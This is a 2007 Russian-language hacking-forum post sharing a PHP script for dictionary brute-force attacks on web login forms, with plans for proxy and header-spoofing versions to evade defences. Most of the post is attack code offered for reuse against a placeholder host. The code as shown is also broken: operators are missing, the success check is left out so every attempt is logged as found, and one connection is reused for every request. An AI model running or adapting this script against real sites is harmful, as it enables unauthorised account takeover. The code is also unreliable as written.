Показать сообщение отдельно

  #78  
Старый 17.04.2007, 03:46
mR_LiNK[deface_0nl
Участник форума
Регистрация: 12.12.2006
Сообщений: 158
Провел на форуме:
1364740

Репутация: 114
По умолчанию

Скрипт простой брутфорс атаки по http.
(Некотрые моменты были упущены и специально не рассмотрены,
чуть позже для наглядности приведу реальный пример, с разбором тела ответа, но пока только так.
Также очень часто для защиты от подобной атаки приложения используют различные проверки по заголовкам,
их помогает избежать подмена данных в заголовках.
Так же чуть позже напишу скрипт брута через прокси)


Скрипту необходимо 2-а файла. 1-ый со списком логинов (каждый логин в новой строке!).
2-ой словарь для брута (каждое слово в новой строке!)

PHP код:
<?php
//массив логинов
$f_log fopen ('login.txt''r');
$login fread($f_log65000);
$name explode("\n"$login);
for (
$i=0$i<count($name); $i++)
{
$name[$i]=trim($name[$i]);
}
fclose($f_log);

//массив паролей из словаря))
$f_pass fopen ('pass.txt''r');
$passwd fread($f_pass65000);
$pass explode("\n"$passwd);
for (
$i=0$i<count($pass); $i++)
{
$pass[$i]=trim($pass[$i]);
}
fclose($f_pass);

$hostname "www.host.ru";
//соединяемся с сервером
$fp fsockopen($hostname80$errno$errstr30);
if(!
$fp
//проверяем успешность соединения
  
echo "$errstr ($errno)<br />\n";
} else {
//собственно брут
  
for($n=0$n<count($name); $n++)
  {
  
$path "/script.php?login=".$name[$n]."&passwd=";
  for(
$p=0$p<count($pass); $p++)
  {
  
$header "GET http://".$hostname.$path.$pass[$p]." HTTP/1.0\n\n"

      
//отправляем запрос
       
fputs($fp$header); 
      
//построчно считываем ответ сервера
      
$line=''
      while (!
feof($fp)) 
      {  
        
$line .= fgets($fp1024);  
      }
      
//работаем с ответом
      //особенность аутентификации через формы - это невозможность анализа полей
      //http заголовков, так как независимо от успешности аутентификации в них будет '200OK'
      //соответственно необходим парсинг тела ответа на наличие 
      //характерных элементов успешной аутентификации
      
      //$rez = fopen('rezcopyline.txt', 'a+');  применяется для
      //fputs($rez, $line);                     отладки
      //fclose($rez);                           скрипта
      
      //здесь несколько строк кода разбора ответа
      //шаблонного примера здесь привести не могу
      //т.к. абсолютно каждый раз код разный
      
      //если характерный элемент был найден::
      
$luck 'Для '.$name[$n].' пароль: '.$pass[$p];
      
$f_success fopen('result.txt''a+');
      
fputs($f_success$luck); //пишем результат в файл
      
fclose($f_success);
      echo 
'<br>';
      echo 
'Для '.$name[$n].' пароль: '.$pass[$p];
      echo 
'<br>';
      }
      }
    }
fclose($fp);     
?>
зы:: под мелкие нужды легко вносятся изменения или модификации.
ззы:: если у кого возникли вопросы и предложения,в личку!
зззы:: всю конструктивную критику с удовольствием принимаю!!

Последний раз редактировалось mR_LiNK[deface_0nl; 17.04.2007 в 03:52..
 
Ответить с цитированием